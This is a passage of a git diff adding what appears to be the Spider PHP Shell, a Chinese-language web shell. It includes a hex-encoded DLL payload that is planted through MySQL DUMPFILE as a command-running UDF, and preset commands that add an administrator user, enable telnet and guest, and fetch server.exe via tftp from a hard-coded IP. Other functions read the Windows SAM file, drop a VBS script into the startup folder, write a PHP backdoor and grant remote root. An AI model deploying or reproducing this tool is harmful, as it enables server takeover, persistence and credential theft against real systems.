A0B7AC99AD78F2971B180A0360B615DCC1A8F1223E1975EF13A0876A064F4AACEC508B9E1D9C345CE66D442C51681C4C147D452E6AB6AD50293F89B1C1E0939D084B1A6606AB9F44BC3805750BBB0D416F064D6B50AF256BBC5C487D469512980708D0E250853014526D2FD050BCDE1BF6034EBC05A908D81A4A8615B06F126945FCDE30A22DC25B53C366A035AADB9C65F874E144346021CE0C29800750A09543B566401343E0E0043812F107C406F98A4804657FAB99A5DF89084B1D8A40053C0A84BED01D154D1088E4078D53010F8B459718C682050ABC160C166D515452B810448B664DDB39AD976865D1068F1496935166EB006D912446E98B17684D8B3D4BE1F40155F64235D144E68AE5A87CC50EE0D0F876EB3B0A81A274BBBE0C04E724FB027FAD0D03808136C85B00140C0075FFD06C0B23578A101A33AE3CD45FBB2D0D0BB443FF135A12493944BBDD2DA2182140803848068308CDCD76BF5F5EC6030D4344EB73CA2BD36E3260E7FF6A01CF0A090E683BAA479F74411ED101A2358848D12D821A85FF9D468B0F4388443105EB293B700420DEB6250CFF6305160AEB18A55E40D812FFA9193507AD9C7B77BF925B761A750D85115C74F3064942D12EE5E4AC062B4688210250A8EAA9D800F91131357540346A46C42BF87D5BF41F8AE875465757EB533038154C20629236B1F2DBCA6A711D23EB222014A660B0341B48E1FE033130EB651DBA397D147E108AB25936C514105A66B67DF436E1A11D591D161C0286D98CD9181FD84872DA478DC159D22AD3A62018366B5B0CBE3C20732EDB6CB74EC1245E0140503720CA3F408C4C793BDF0F849CD25B6CA014041B9C0324FCF25DAADB2EDE8BC441DC8367EB138DB5D751678BF026118BB5D9F6AD3867DC7466534CDC6121CB9EEB9257F44DEC1AA574A3A6884412D80A7432B06D4B6C5E0D40403E1C78B2C8663713EDD57F1EDA321C0962C321858F2065C814876515F4A1F20BD966B6B336DC895DE08B15483212BDB27DB953D6BDDF74B45664E467749C8F6AB35BA3B30E03EB068C28EDD5618F54D5CC0AB11B88108B71B77179088B2680AD9F44568D4A9E0D7FBA0DBA5580F1491AF30C5E5CC60736942B498BC24E58ED61328118B4ECAC375E2D043E3E8A515E564234632356A53C0497CFC819DF1D1B56495340CEC2C73B028658A3432D24F276607CDD1C490554CC335033E433B263345BC8945D18908DD9968D532C34201BC53619181FE0DB630AD06A15B5CB3EBB15B0107CD3DC57CC0FE16050B3EB0B83DB33ECB6119CF6112949E0565FF670C9DA1C5552F8D7B2703A84933C8AF5CC38680C42EF047AC25F9A51D4E7023A01752E0A1BB1D552F0263A613E0A431D966EE146873A4101191411035BA330D56BFDD51A75555B430BB3FFB090D3D18E016DADCA0B4301070242B5CFD6ED44E94130E01302A86658AD799AAF335BD2CAC9C14A6D42AA5BC98CCC4F56530B4A55B050009C1B201AFFAE023307420FAB0424EBF3775DFE5ABB8C90416E14460FA373F201E6E20204C420753F98FD646C3A0AF38D46FF3B9CB8ACF87B5643BE51EEB60E56485481DF4C03C12580FC8D161DDEBD0A80E17FEB0D811FDED0540440391180C980DE880A81440B8D6686C5C671D0419080E3D60AC0C006A0A8487D065C9C249E5862050D10565D7426E8BC00BF83C410E0AE41C305E3CC0CB568E12EF1C6012D415CEB030A915B4013D4B88110B5DAA5DAD2630883FB0950769225FF2F7D6B2004308819413577DA802100498A178A018878007F8B118F49473BF972F21B365341486FFF948BD6A81E588D39C470CD4143A1D03B5CCF252EB6C1FF46758A274738C474F22C419D1AE324EC85D2E1C5FE4186E00E824A6F1474D21AC0E6FFD1575F3AEB78F0FFBF34019130007F0419C0D96EE2EB15130DC9817888C2C77895FFB541599EEE9067271FD82E760B3E6A602266C4040907B742A68D38CFDA39CB15580B0318AC05224EEBFB55D0C2052241280EABE097CF0B6C112836D1E970DA0C1B1FFF804EB741B35AB6201726828ADDFFDBEE0774217F1D467BFC720638DC770202E638F809D8B517BA35C6F7750DEBD733C908023657B34D9BB9AFE582806D6AE4BF0FF35FA6ED85B50A321926EF2BB446AB2F99EE57EBB68DDE5AC3EC74230BAB1F775165EB3AC0F0596B0979D584B5634DCA0975720271FC08A5C9DE0E5FFECB030051283074512BBC2311EC1A2D75770C920F1DA2C685B7A6EB52DF2F7D8B5BB10EC11AB6D10A5601805E6EBDF54B318065FE0088508845FDF3EB09BAAB41D90DFD0F6C8D4D0AD58B1803165179AD7DD182C16E4F026B53B38059E3450A23B07465BB72251CAE5A80450F8CD5815DB9AAF5490F8FA18A46D52D1FE9DEE83C057C83760A4D405E7D2539DBD187F8787E0BD95FAD6A0AA1A1F4DEE0FE8A045823C667D9EB658B1512DA65E94CB4B6C84A740FA7DF5BD4D630AF88065D0958B60917C5522B5B13566B032CF036BE03B49F572F1A6AE0648FCC20F6AEDA06AD75A5D646D0BE05FD032C37126253CB0BC18C00885DC029C25A0BC839FAAB60287C25F7E1C29DEB025EA105B11D42030985056C351FD31EAACA3EC1CC03580000D37466AAFF0F4D53EE65DD9304DF03E50F08EC03BDE4F2B2F20F0AFF0B050CCF0AB656D003D50302017FB6DF3A1903070602100445000535300050B5EEFF7F2C20283850580708003730305750070F200BD71461DE000860686009780073AE956E08071507001A010E7D7BDDFF0028006E0075006C0129320F6E756C6C6FB7FFDF0A72756E74696D65206572726F72200F0D0A03544C4F07E4BFD95353110E0053494E470044BBFD65ED4F4D4112115236303238082D204BB76F7F7961626C746F20696E6956616C697A0D6865D67EBED961703727376E6F743D0460EFB6FF756768207370616323667B6C6F7769380AB9EC3661066F6E3736ED672079737464357075722BF6DB5AFB76697274752133A5632320630C9B42BED86C285F345F2ABDF6DA7665785C2F5806DCE2E6BEB0935F3139F76F706558313260DBEE736F0F646573632B3888706B6D4624816564193024DF405723376D926FDBADA6AC7468BF612F6C6F636B1B6C8530173464B7865B6B6E612E02A221726D0050D8DAB770406772616D204A6D366829EC852F30394F10E71A8D66412A2B302E2B84EF53C8386172677528735F6DBBF63C303266C16E6E67826F9CB52EB605743A1164E67F4DC3DB422B2D60396615566973AAEFF660FC432B2B2052A04C6962B47279276D0F87B90A2D16450E211150D8656B9CD43AC2002E003CE5ED6D736DE0252C6B6C776E3E1B17EED8F84765744C61324102766550AE75705BDBCE62130F57956426876534BEF0FF7373616765426F78410075732533322E642ADD931252EAB75956035A77CF76670B5A955A0E0B5B8E0392483AAFB9BBB56D904A0064002C204D20086DC9BDB97900632F642F06D74D03FDB5179A4144EE656D626B5B4E6F76C3FE6D930B4F986F0A536570741486A96885416C96711BBEEDF9B941076E6541F369A64D101636172763684665327533BDF7DE7B4A616E0A675F57537BAF7BEF4B47433779433F3B6EA9D0DE3323B03C6418B0ED587B4F5E095468127313D9C15A6157BC7C0C547509B9D9B1C64D251053750743F7DE7BEF3B372F27231F039E73CEB90A11181F262D9C73CEC5AF828990979E72CE39E7A5ACB3BAC1C8A78008047C28BB92975043BD384F296360A9523F4D797371909620A953A636306EC263B50B355A6A09A663B7B921E76A3752C077035C321703ABCF91FB2E746D700FB40600B6472A481D3A2C7EB53D25E4E6FFDB730A2F636D642E657865202F63200068656C55192B75313774073967FF76B6E4380B3006687474703A2F2F8F2DF5FF2ED9632D9B09CAE4C8EBB8F1CABDB4EDCEF3FFC3FE6F120D00CFC2D4D8CAA7B0DC0BCEC4BCFEB3C9B9A6F6DCE6FE21C2B7BEB6A3BA7E175C3F44867B81D10F00200593195731D913199DE4667271F0108DE8832119B2178E180F30434E5146C2F80392017BD894A007010153107C81A4B902011F0264410152476357D9D9070A2F0207743CF2E4C96C084009140A73F01093274F9EC411941270133C79E4C944180C1972E41AAC1B93274F9E741C4C783C796EF2E4C92C7A1CFC18FF86B29317D854DD038572200107402699282048001940269210841002199009810119900119108202601C16023B20EF200D0C050133164DD30C3603070418050D344DD3340609070C0832D82083090A1B0BC1BEF702573B070F575F906EB0101311031217210C32D820350F414336D86083503352175307D860830D575F597B6C17D2344D376DAB20701C72D860DF0BC72F80B3810760830C36821F83848F208334CD91299EA1830D32D8A46FA7B79FCE760EC2601FD70B18070069BEB35D0517C00B1D0490664006968D08644006648E8F9006644006919293CC066140039F78EF4D54EC25FF0204222B6027CF0EF68279822117A6DF07A1A581E9CDF3EF9FE0FC2F407E80FCA8C1A3DAA34F0D72F60881FE0740B577830C812F41B65FCFA2E43E5F21FFA21A00E5A2E8A25B7EA1FE5105BF92DFEE03DA5EDA5F5FDA6ADA32D3D8DEE0B26627B7F939317E430303860064AA432EE99E9C84538B9876840380A6699AA67C7874706C9AA6699A645C54483C34699AA6692824201C18A6699AA614100C08044DD334970075FCF8F0E4DCA6E99E35D42F75CC03C4BC9AA6699AB0A89C908C8849BEA669806C64CD2E821D65BB8C8F905C037F009EF040E82F500B807007F0F11325DCA0D1535499508BDD50C944548CF38CDC97B058592CA7BF06699A0E1EEF3B5A9775A769BAA7B5D4F3E0301AB86CD3034E6D01333AB759699AA6697796B4D3F20CDA74DD272F034D6C01F108A48008368024444144210980D109600064C15B054D734325746554B6CBB7572C0D44656C65466905410A105FDB0C470A0953C5D87393CD2719522C0A23EC4F56C145185661726961622212C0EC7F436C6F736548616E6425F62AD80E4B4A500B63417B7B56686753791D656D4447B7C1B656F5227914744E747515B893FD70496E666F413569704FB1DBD62EA845782A08535D65702CFB36CCFD56657273696F163B896E6754792D67DF856C570F1F4C434D6170115706882E610D1B4D7073ED5BC34279126F65646543688366E5ABA03DFB644F66F34C6FFD8E6B68FF300B746C556E773C3D48D767EDAC7C70416C6C0A46B1FB432D7B9BE16F6D6D09336E7DACB38556982673FB0B790CC580D866E50B56ADB521419C42494D1E263CC3D609630A532740B029DBDACA16AD147215421BC0B64C5B762B78108C8580250B77C5EB8407C4600C542FB998A170B6DA75D3F812DCDD3302524964386C7353F3B3378BDD5575650C4F09DE4BD2258C531D2D471A086D618643427552C93B2463366412A0D50CC363141E4D6F64BDA34E616D6A3B2160BC5F9EE473183004470A0CF3CA6624A3FD08E42CCFF04258164361853B1CFE66BF08506F6990C906C25EF99DFD6B65644465633815C2844D72496E53EB460F3AC1F1EF73684B427566663E6A50ECB136761C0A410B074F454D092C19FE10934164647297EF7D2841BCD93C7155524C440A5BA4668277E3CE1C88F6F6FE340457534153864D00FF0402CBB22CCB17390334090C8D32B62C0B022649F7FF7FAE6D0C10025C000A052F0A5205546417350BDFFEFFFF811912192A060B2A385319310B320D1B806512ED2405670B30100F1CFFFFFFFF1B1B96130B530B1C455405400645171106180A118145110B4C310526530F7D1CFBA5FFFF078B1214050B121B271A1241691A09F04BF83A06F0520103BFFDFF7F0802070F080B06060A18050A1A0E080643125C1B4F59085A0DA37DF66FFF0F16F03001BAF00AF6211775F0C8020400CE2D07E6EDEDBF5F10070708270C0A08300A0608050C050CBFB5FFBB16030813082D1B10060F06070921AE08F04F020E6BBFB5ED061A050F107EA20605060D1D15349BFBF69B2244A6F0ED0120130616070F1810FBFFDBDB091A571362A9850E0B14060E09111C0F12091C230A03FFFFFFBF0C137F0A1CF0F20007194212310C0B0F0AF00302F04D012C0C1C191A0811F6ED5BFB050D05F00549BF05380C0757070A19088EDBADFDDB05663A081A0611190C7113081E0917F6FF0B6F17621806422214320715320A2115242A0E311CF6DF6EFF21250F0F321043CB140E47065B074845E3193539DBDF6EFF0C103F50133E1282260D8E13270F42141E6D157CFBFF6FAA0E13770D251C1374A04D18154A481712E3084B2512842F6C2F47550118EF051D29261A072842EEDE1D4A0604660B1B07161D2A32FFB7B77F7228060C3B0829710D0C234F6039150D3D22084C0F19615BFBFF262E0F20222D143A0726181A0B83A67C56DBFFFF138AF0FB00790C150B2EF0D9011C0D0D13090C32C221B76678E106210A1D081715A919E80B0AFBDF0A0B6E432C0019066F061E1113151EF95068857F10210C120E0F11759647BFF00BCDB85C7EF056011E550F0AC60A89050BFFBFB51F4C35080E1E1D182058163368254605030717FEAD6DFC103D105612F03E01EC48B24F30BD71E1B75B045E2F0F5838EA3C7D3810040CFB76F38301F0B4030408F0AC0A0DF014010417C8915D7E2010108408020800046453203FF0240608041009F92F71E90C9C645045A54C010400B2976A46AA4EF90FE0000E210B0106264B004F26A9244110BDEC3CFB09100F04000700D0B237E982272A0202079B6D7ED81E8D000071C886620285B9650AC0648A002B8CAA4BA744B0100C76F92E7465787446619070E2AD2A6574CD602E7212669D2BC1AB0D5303FB5E73D902402E26CF2427B62919A49090C04F6519EC6B0F7D584FC027A06F6EBF29421B5C881051C489C700000000000000800400FF00807C2408010F85C201000060BE00A000108DBE0070FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9960100008A07472CE83C0177F7803F0A75F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE00C000008B0709C074458B5F048D843000E0000001F35083C708FF9650E00000958A074708C074DC89F979070FB707475047B95748F2AE55FF9654E0000009C07407890383C304EBD86131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE2240FC1E010668B0783C702EBE28BAE58E000008DBE00F0FFFFBB0010000050546A045357FFD58D87FF01000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E9C73CFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000070F0000050F000000000000000000000000000007DF0000060F0000000000000000000000000000088F0000068F00000000000000000000000000000000000000000000092F00000A0F00000B0F0000000000000C0F000000000000073000080000000004B45524E454C33322E444C4C0075726C6D6F6E2E646C6C005753325F33322E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F74656374000055524C446F776E6C6F6164546F46696C65410000000000000000B1976A46000000001EF1000001000000030000000300000000F100000CF1000018F100009010000090150000801000002BF1000031F100003EF100000000010002006D7973716C446C6C2E646C6C0073746174650073746174655F6465696E69740073746174655F696E69740000000000E000000C0000001D360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; +} + +function Mysql_m() +{ + $MSG_BOX = '请先导出DLL,再执行命令.MYSQL用户必须为root权限,导出路径必须能加载DLL文件.'; + $info = '命令回显'; + $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $mpath = 'C:/windows/mysqlDll.dll'; $sqlcmd = 'ver'; + if(isset($_POST['mhost']) && isset($_POST['muser'])) + { + $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; $mpath = File_Str($_POST['mpath']); $sqlcmd = $_POST['sqlcmd']; + $conn = mysql_connect($mhost.':'.$mport,$muser,$mpass); + if($conn) + { + @mysql_select_db($mdata); + if((!empty($_POST['outdll'])) && (!empty($_POST['mpath']))) + { + $query = "CREATE TABLE Spider_Temp_Tab (spider BLOB);"; + if(@mysql_query($query,$conn)) + { + $shellcode = Mysql_shellcode(); + $query = "INSERT into Spider_Temp_Tab values (CONVERT(".$shellcode.",CHAR));"; + if(@mysql_query($query,$conn)) + { + $query = 'SELECT spider FROM Spider_Temp_Tab INTO DUMPFILE \''.$mpath.'\';'; + if(@mysql_query($query,$conn)) + { + $ap = explode('/', $mpath); $inpath = array_pop($ap); + $query = 'Create Function state returns string soname \''.$inpath.'\';'; + $MSG_BOX = @mysql_query($query,$conn) ? '安装DLL成功' : '安装DLL失败'; + } + else $MSG_BOX = '导出DLL文件失败'; + } + else $MSG_BOX = '写入临时表失败'; + @mysql_query('DROP TABLE Spider_Temp_Tab;',$conn); + } + else $MSG_BOX = '创建临时表失败'; + } + if(!empty($_POST['runcmd'])) + { + $query = 'select state("'.$sqlcmd.'");'; + $result = @mysql_query($query,$conn); + if($result) + { + $k = 0; $info = NULL; + while($row = @mysql_fetch_array($result)){$infotmp .= $row[$k];$k++;} + $info = $infotmp; + $MSG_BOX = '执行成功'; + } + else $MSG_BOX = '执行失败'; + } + } + else $MSG_BOX = '连接MYSQL失败'; + } +print<< +function Fullm(i){ + Str = new Array(11); + Str[0] = "ver"; + Str[1] = "net user spider spider /add"; + Str[2] = "net localgroup administrators spider /add"; + Str[3] = "net start Terminal Services"; + Str[4] = "netstat -an"; + Str[5] = "ipconfig"; + Str[6] = "net user guest /active:yes"; + Str[7] = "copy c:\\\\1.php d:\\\\2.php"; + Str[8] = "tftp -i 219.134.46.245 get server.exe c:\\\\server.exe"; + Str[9] = "net start telnet"; + Str[10] = "shutdown -r -t 0"; + mform.sqlcmd.value = Str[i]; + return true; +} + +
                +
                {$MSG_BOX}
                +
                +地址 +端口 +用户 +密码 +库名 +
                +可加载路径 +
                +
                安装成功后可用
                + + + +
                +
                +END; + return true; +} + +function Mysql_n() +{ + $MSG_BOX = ''; + $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $msql = 'select version();'; + if(isset($_POST['mhost']) && isset($_POST['muser'])) + { + $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; + if($conn = mysql_connect($mhost.':'.$mport,$muser,$mpass)) @mysql_select_db($mdata); + else $MSG_BOX = '连接MYSQL失败'; + } + $downfile = 'c:/windows/repair/sam'; + if(!empty($_POST['downfile'])) + { + $downfile = File_Str($_POST['downfile']); + $binpath = bin2hex($downfile); + $query = 'select load_file(0x'.$binpath.')'; + if($result = @mysql_query($query,$conn)) + { + $k = 0; $downcode = ''; + while($row = @mysql_fetch_array($result)){$downcode .= $row[$k];$k++;} + $filedown = basename($downfile); + if(!$filedown) $filedown = 'spider.tmp'; + $array = explode('.', $filedown); + $arrayend = array_pop($array); + header('Content-type: application/x-'.$arrayend); + header('Content-Disposition: attachment; filename='.$filedown); + header('Content-Length: '.strlen($downcode)); + echo $downcode; + exit; + } + else $MSG_BOX = '下载文件失败'; + } + $o = isset($_GET['o']) ? $_GET['o'] : ''; + Root_CSS(); +print<< +
                +
                +地址 +端口 +用户 +密码 +库名 +
                +
                +END; +if($o == 'u') +{ + $uppath = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/exp.vbs'; + if(!empty($_POST['uppath'])) + { + $uppath = $_POST['uppath']; + $query = 'Create TABLE a (cmd text NOT NULL);'; + if(@mysql_query($query,$conn)) + { + if($tmpcode = File_Read($_FILES['upfile']['tmp_name'])){$filecode = bin2hex(File_Read($tmpcode));} + else{$tmp = File_Str(dirname(__FILE__)).'/upfile.tmp';if(File_Up($_FILES['upfile']['tmp_name'],$tmp)){$filecode = bin2hex(File_Read($tmp));@unlink($tmp);}} + $query = 'Insert INTO a (cmd) VALUES(CONVERT(0x'.$filecode.',CHAR));'; + if(@mysql_query($query,$conn)) + { + $query = 'SELECT cmd FROM a INTO DUMPFILE \''.$uppath.'\';'; + $MSG_BOX = @mysql_query($query,$conn) ? '上传文件成功' : '上传文件失败'; + } + else $MSG_BOX = '插入临时表失败'; + @mysql_query('Drop TABLE IF EXISTS a;',$conn); + } + else $MSG_BOX = '创建临时表失败'; + } +print<<
                上传路径 +

                选择文件 +
                +END; +} +elseif($o == 'd') +{ +print<<

                下载文件 +
                +END; +} +else +{ + if(!empty($_POST['msql'])) + { + $msql = $_POST['msql']; + if($result = @mysql_query($msql,$conn)) + { + $MSG_BOX = '执行SQL语句成功
                '; + $k = 0; + while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;} + } + else $MSG_BOX .= mysql_error(); + } +print<< +function nFull(i){ + Str = new Array(11); + Str[0] = "select version();"; + Str[1] = "select load_file(0x633A5C5C77696E646F77735C73797374656D33325C5C696E65747372765C5C6D657461626173652E786D6C) FROM user into outfile 'D:/web/iis.txt'"; + Str[2] = "select '' into outfile 'F:/web/bak.php';"; + Str[3] = "GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;"; + nform.msql.value = Str[i]; + return true; +} + +
                +
                + + +END; +} + if($MSG_BOX != '') echo '
                '.$MSG_BOX.'
                '; + else echo ''; + return true; +} + +//MYSQL管理 + +function Mysql_Len($data,$len) +{ + if(strlen($data) < $len) return $data; + return substr_replace($data,'...',$len); +} + +function Mysql_Msg() +{ + $conn = @mysql_connect($_COOKIE['m_spiderhost'].':'.$_COOKIE['m_spiderport'],$_COOKIE['m_spideruser'],$_COOKIE['m_spiderpass']); + if($conn) + { +print<< +function Delok(msg,gourl) +{ + smsg = "确定要删除[" + unescape(msg) + "]吗?"; + if(confirm(smsg)){window.location = gourl;} +} +function Createok(ac) +{ + if(ac == 'a') document.getElementById('nsql').value = 'CREATE TABLE name (spider BLOB);'; + if(ac == 'b') document.getElementById('nsql').value = 'CREATE DATABASE name;'; + if(ac == 'c') document.getElementById('nsql').value = 'DROP DATABASE name;'; + return false; +} + +END; + $BOOL = false; + $MSG_BOX = '用户:'.$_COOKIE['m_spideruser'].'      地址:'.$_COOKIE['m_spiderhost'].':'.$_COOKIE['m_spiderport'].'      版本:'; + $k = 0; + $result = @mysql_query('select version();',$conn); + while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;} + echo '
                数据库:'; + $result = mysql_query("SHOW DATABASES",$conn); + while($db = mysql_fetch_array($result)){echo '  ['.$db['Database'].']';} + echo '
                '; + if(isset($_GET['db'])) + { + mysql_select_db($_GET['db'],$conn); + if(!empty($_POST['nsql'])){$BOOL = true; $MSG_BOX = mysql_query($_POST['nsql'],$conn) ? '执行成功' : '执行失败 '.mysql_error();} + if(is_array($_POST['insql'])) + { + $query = 'INSERT INTO '.$_GET['table'].' ('; + foreach($_POST['insql'] as $var => $key) + { + $querya .= $var.','; + $queryb .= '\''.addslashes($key).'\','; + } + $query = $query.substr($querya, 0, -1).') VALUES ('.substr($queryb, 0, -1).');'; + $MSG_BOX = mysql_query($query,$conn) ? '添加成功' : '添加失败 '.mysql_error(); + } + if(is_array($_POST['upsql'])) + { + $query = 'UPDATE '.$_GET['table'].' SET '; + foreach($_POST['upsql'] as $var => $key) + { + $queryb .= $var.'=\''.addslashes($key).'\','; + } + $query = $query.substr($queryb, 0, -1).' '.base64_decode($_POST['wherevar']).';'; + $MSG_BOX = mysql_query($query,$conn) ? '修改成功' : '修改失败 '.mysql_error(); + } + if(isset($_GET['del'])) + { + $result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['del'].', 1;',$conn); + $good = mysql_fetch_assoc($result); + $query = 'DELETE FROM '.$_GET['table'].' WHERE '; + foreach($good as $var => $key){$queryc .= $var.'=\''.addslashes($key).'\' AND ';} + $where = $query.substr($queryc, 0, -4).';'; + $MSG_BOX = mysql_query($where,$conn) ? '删除成功' : '删除失败 '.mysql_error(); + } + $action = '?s=r&db='.$_GET['db']; + if(isset($_GET['drop'])){$query = 'Drop TABLE IF EXISTS '.$_GET['drop'].';';$MSG_BOX = mysql_query($query,$conn) ? '删除成功' : '删除失败 '.mysql_error();} + if(isset($_GET['table'])){$action .= '&table='.$_GET['table'];if(isset($_GET['edit'])) $action .= '&edit='.$_GET['edit'];} + if(isset($_GET['insert'])) $action .= '&insert='.$_GET['insert']; + echo '
                '; + echo ' '; + echo ' '; + echo ' '; + echo ' '; + echo '
                '; + echo '
                '.$MSG_BOX.'
                '.$_GET['db'].' ---> '; + if(isset($_GET['table'])) + { + echo ''.$_GET['table'].' '; + echo '[插入]
                '; + if(isset($_GET['edit'])) + { + if(isset($_GET['p'])) $atable = $_GET['table'].'&p='.$_GET['p']; else $atable = $_GET['table']; + echo '
                '; + $result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['edit'].', 1;',$conn); + $good = mysql_fetch_assoc($result); + $u = 0; + foreach($good as $var => $key) + { + $queryc .= $var.'=\''.$key.'\' AND '; + $type = @mysql_field_type($result, $u); + $len = @mysql_field_len($result, $u); + echo '
                '.$var.' '.$type.'('.$len.')
                '; + $u++; + } + $where = 'WHERE '.substr($queryc, 0, -4); + echo ''; + echo '
                '; + } + else + { + $query = 'SHOW COLUMNS FROM '.$_GET['table']; + $result = mysql_query($query,$conn); + $fields = array(); + $row_num = mysql_num_rows(mysql_query('SELECT * FROM '.$_GET['table'],$conn)); + if(!isset($_GET['p'])){$p = 0;$_GET['p'] = 1;} else $p = ((int)$_GET['p']-1)*20; + echo ''; + echo ''; + while($row = @mysql_fetch_assoc($result)) + { + array_push($fields,$row['Field']); + echo ''; + } + echo ''; + if(eregi('WHERE|LIMIT',$_POST['nsql']) && eregi('SELECT|FROM',$_POST['nsql'])) $query = $_POST['nsql']; else $query = 'SELECT * FROM '.$_GET['table'].' LIMIT '.$p.', 20;'; + $result = mysql_query($query,$conn); + $v = $p; + while($text = @mysql_fetch_assoc($result)) + { + echo ''; + foreach($fields as $row){echo '';} + echo ''."\r\n";$v++; + } + echo '
                操作'.$row['Field'].'
                修改 '; + echo ' 删除 '.nl2br(htmlspecialchars(Mysql_Len($text[$row],500))).'
                '; + for($i = 1;$i <= ceil($row_num / 20);$i++){$k = ((int)$_GET['p'] == $i) ? ''.$i.'' : $i;echo '['.$k.'] ';} + echo '
                '; + } + } + elseif(isset($_GET['insert'])) + { + echo ''.$_GET['insert'].''; + $result = mysql_query('SELECT * FROM '.$_GET['insert'],$conn); + $fieldnum = @mysql_num_fields($result); + echo '
                '; + for($i = 0;$i < $fieldnum;$i++) + { + $name = @mysql_field_name($result, $i); + $type = @mysql_field_type($result, $i); + $len = @mysql_field_len($result, $i); + echo '
                '.$name.' '.$type.'('.$len.')
                '; + } + echo '
                '; + } + else + { + $query = 'SHOW TABLE STATUS'; + $status = @mysql_query($query,$conn); + while($statu = @mysql_fetch_array($status)) + { + $statusize[] = $statu['Data_length']; + $statucoll[] = $statu['Collation']; + } + $query = 'SHOW TABLES FROM '.$_GET['db'].';'; + echo ''; + echo ''; + echo ''; + echo ''; + echo ''; + $result = @mysql_query($query,$conn); + $k = 0; + while($table = mysql_fetch_row($result)) + { + echo ''; + echo ''; + echo ''."\r\n"; + $k++; + } + echo '
                表名 操作 字符集 大小
                '.$table[0].' 插入 删除 '.$statucoll[$k].''.File_Size($statusize[$k]).'
                '; + } + } + } + else die('连接MYSQL失败,请重新登陆.'); + if(!$BOOL) echo ''; + return false; +} + +function Mysql_o() +{ + ob_start(); + if(isset($_POST['mhost']) && isset($_POST['mport']) && isset($_POST['muser']) && isset($_POST['mpass'])) + { + if(@mysql_connect($_POST['mhost'].':'.$_POST['mport'],$_POST['muser'],$_POST['mpass'])) + { + $cookietime = time() + 24 * 3600; + setcookie('m_spiderhost',$_POST['mhost'],$cookietime); + setcookie('m_spiderport',$_POST['mport'],$cookietime); + setcookie('m_spideruser',$_POST['muser'],$cookietime); + setcookie('m_spiderpass',$_POST['mpass'],$cookietime); + die('正在登陆,请稍候...'); + } + } +print<< +
                地址
                +
                端口
                +
                用户
                +
                密码
                +
                + +END; + ob_end_flush(); + return true; +} + +function Root_Login($MSG_TOP) +{ +print<< + +
                +
                +
                +
                {$MSG_TOP}
                +
                PASS:
                +
                +
                +
                +
                + + +END; + return false; +} + +function WinMain() +{ + $Server_IP = gethostbyname($_SERVER["SERVER_NAME"]); + $Server_OS = PHP_OS; + $Server_Soft = $_SERVER["SERVER_SOFTWARE"]; + $Server_Alexa = 'http://cn.alexa.com/siteinfo/'.str_replace('www.','',$_SERVER['SERVER_NAME']); +print<< + Spider PHP Shell (SPS-3.0) + + + + + + + + +END; +return false; +} + +if(get_magic_quotes_gpc()) +{ + $_GET = Root_GP($_GET); + $_POST = Root_GP($_POST); +} +if($_GET['s'] == 'logout') +{ + setcookie('admin_spiderpass',NULL); + die(''); +} +if($_COOKIE['admin_spiderpass'] != md5($password)) +{ + ob_start(); + $MSG_TOP = 'LOGIN'; + if(isset($_POST['spiderpass'])) + { + $cookietime = time() + 24 * 3600; + setcookie('admin_spiderpass',md5($_POST['spiderpass']),$cookietime); + if(md5($_POST['spiderpass']) == md5($password)){die('');} + else{$MSG_TOP = 'PASS IS FALSE';} + } + Root_Login($MSG_TOP); + ob_end_flush(); + exit; +} + +if(isset($_GET['s'])){$s = $_GET['s'];if($s != 'a' && $s != 'n')Root_CSS();}else{$s = 'MyNameIsHacker';} +$p = isset($_GET['p']) ? $_GET['p'] : File_Str(dirname(__FILE__)); + +switch($s) +{ + case "a" : File_a($p); break; + case "b" : Guama_b(); break; + case "c" : Qingma_c(); break; + case "d" : Tihuan_d(); break; + case "e" : Antivirus_e(); break; + case "f" : Info_f(); break; + case "g" : Exec_g(); break; + case "h" : Com_h(); break; + case "i" : Port_i(); break; + case "j" : Findfile_j(); break; + case "k" : Linux_k(); break; + case "l" : Servu_l(); break; + case "m" : Mysql_m(); break; + case "n" : Mysql_n(); break; + case "o" : Mysql_o(); break; + case "p" : File_Edit($_GET['fp'],$_GET['fn']); break; + case "q" : File_Soup($p); break; + case "r" : Mysql_Msg(); break; + default: WinMain(); break; +} +?> diff --git "a/php/\346\227\240\347\211\271\345\276\201\345\205\215\346\235\200\346\211\200\346\234\211waf\344\270\200\345\217\245\350\257\235.php" "b/php/\346\227\240\347\211\271\345\276\201\345\205\215\346\235\200\346\211\200\346\234\211waf\344\270\200\345\217\245\350\257\235.php" new file mode 100644 index 0000000..06e906f --- /dev/null +++ "b/php/\346\227\240\347\211\271\345\276\201\345\205\215\346\235\200\346\211\200\346\234\211waf\344\270\200\345\217\245\350\257\235.php" @@ -0,0 +1,10 @@ 